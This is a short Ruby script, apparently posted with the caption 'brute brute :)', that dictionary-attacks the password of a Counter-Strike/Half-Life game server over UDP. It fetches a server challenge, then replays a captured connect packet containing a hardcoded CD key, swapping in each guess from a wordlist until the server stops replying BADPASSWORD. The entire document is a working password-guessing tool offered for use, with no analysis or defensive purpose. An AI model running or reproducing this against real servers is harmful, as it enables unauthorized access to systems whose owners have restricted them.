brute brute :)

stbrute.rb

#!/usr/bin/ruby

require 'socket'
class CSBrute
    @@payload="\377\377\377\377connect 47 CHN_HERE \"\\prot\\4\\unique\\-1\\raw\\valve\\cdkey"+
            "\\1313b42c88918e7adbd5a265bc574768\" \"\\_cl_autowepswitch\\1\\bottomcolor\\6\\c"+
            "l_dlmax\\128\\cl_lc\\1\\cl_lw\\1\\cl_updaterate\\45\\model\\gordon\\name\\fooooo"+
            "o\\topcolor\\30\\_vgui_menus\\0\\_ah\\1\\dzuid\\DZUID_0:0:39962888\\source_model"+
            "s\\0\\quality\\low\\rate\\7999.0737\\*fid\\0\\password\\PW_HERE\"\n\000\000]"+
            "\005\023\254\000\035\000\200 \025\374\231\026\036s\e\277\225\375\017\2073n\235G"+
            "\251\320\251\363\316c\3625\250\271\367\305\273\336W,\253\270W\0206\304Z\300\230"+
            "\002K\341\024\004L)\373Q\345;Cqo\250\314\262\273\310\177\026\226\004\222\325\3461E"+
            "\211nN\301b)iY?a\222h\224\032m\207=\334\027\331\304\320TL\304\323W4\310\214\276<"+
            "\223Y\377H@\321u\262\254\201Lf\376$\244&\226\207\261\177u!I\273\312,"
    @@get_challenge="\377\377\377\377getchallenge valve\n"
    @@sock = UDPSocket.new
    def initialize(host,port=27015)
        @@sock.connect(host,port)
        @@sock.send(@@get_challenge,0)
        reply,from = @@sock.recvfrom(1024,0)
        reply=reply[4...reply.length].split(" ")[1]
        @@payload.gsub!("CHN_HERE",reply)
        puts "+ Connected to #{host} on #{port}."
    end

    def checkpw(password)
        ts = @@payload.gsub("PW_HERE",password)
        @@sock.send(ts,0)
        reply,from = @@sock.recvfrom(1024,0)
        puts reply.dump
        reply.index("BADPASSWORD") == nil
    end
end


if $0 == __FILE__
    if ARGV.length != 2
        puts "usage: csbrute <host> <dictionary>"
        exit 1
    end
    host = ARGV[0]
    dict = ARGV[1]

    a=CSBrute.new(host)
    f=open(dict)
    while line = f.gets
        line.chomp!
        print "+ checking #{line}... "
        if a.checkpw(line) == true
            print "found.\n"
            break
        else
            print  "\n"
        end
        sleep 1
    end
    f.close
end